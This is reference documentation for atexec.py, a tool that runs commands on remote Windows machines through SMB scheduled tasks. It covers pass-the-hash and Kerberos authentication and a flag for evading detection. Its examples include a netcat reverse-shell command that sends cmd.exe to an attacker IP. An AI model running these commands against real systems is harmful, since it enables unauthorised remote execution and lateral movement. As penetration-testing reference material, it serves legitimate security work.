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atexec.py

atexec.py can be used to create and run an immediate scheduled task on a remote target via SMB in order to execute commands on a target system. It works only on version of Windows higher than Vista.

The command to execute in the scheduled task must be provided to the script as a positional argument. The command's output can then be retrieved in a .tmp file with the same name as the scheduled task in C:\Windows\Temp.

Commons

It has the following generic command line arguments, similar to many other tools:

  • required positional argument #1: [[domain/]username[:password]@]<targetName or address> (e.g. domain.local/user@dc01, domain/user:[email protected]).

required positional argument format

  • -hashes: the LM and/or NT hash to use for a pass-the-hash (NTLM). The format is as follows: [LMhash]:NThash (the LM hash is optional, the NT hash must be prepended with a colon (:).
  • -aesKey: the AES128 or AES256 hexadecimal long-term key to use for a pass-the-key authentication (Kerberos).
  • -k: this flag must be set when authenticating using Kerberos. The utility will try to grab credentials from a Ccache file which path must be set in the KRB5CCNAME environment variable. In this case, the utility will do pass-the-cache. If valid credentials cannot be found or if the KRB5CCNAME variable is not or wrongly set, the utility will use the password specified in the positional argument for plaintext Kerberos authentication, or the NT hash (i.e. RC4 long-term key) in the -hashes argument for overpass-the-hash. A Kirbi file could also be converted to a Ccache file using ticketConverter.py in order to be used by the utility (indirect pass-the-ticket).
  • -no-pass: this flag must be set when an empty password will by used, or no password at all. Without this flag, the user will be prompted for a password when running the utility. This flag is especially useful when using -k.
  • -dc-ip: IP address of the domain controller. If omitted, the positional argument's domain part will be used (in that case, it must be a Fully-Qualified-Domain-Name (FQDN)).
  • -debug: with this flag set, the utility will be more verbose and will possibly print useful information for debug purposes. With this flag set, the utility will also print tracebacks.
  • -ts: with this flag set, the utility will prepend all output with a timestamp.

Specificities

It also has the following specific command line arguments:

  • required positional argument #2: command to execute on the target system (e.g. whoami or 'powershell -c "nc.exe attacker_ip listener_port -e cmd.exe"')
  • -session-id: executes the scheduled task in the context of a specific existing logon session without using cmd.exe. If omitted, the session 0 will be used.
  • -silentcommand: avoid using cmd.exe to run the specified command. The scheduled task will run the specified command without prepending cmd.exe /C (e.g. C:\Windows\System32\hostname.exe will be executed instead of cmd.exe /C 'hostname'). It is useful to reduce blue team detection, however no output is available.
  • -codec: set target output encoding to a specific value. If errors are detected, run chcp.com on the target, map the result with the python documentation, and then execute atexec.py again with -codec and the corresponding codec. If omitted, utf-8 will be used (e.g. for French systems, the cp850 codec can be used)
  • -keytab: authenticate using Kerberos keys from a KEYTAB file.
# with cleartext credentials
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami

# pass-the-hash (with an NT hash)
atexec.py -hashes :'NThash' 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami

# kerberos ticket in memory
atexec.py -no-pass -k 'DOMAIN'/'USER'@'target_ip' 'powershell -c "nc.exe attacker_ip 4545 -e cmd.exe"'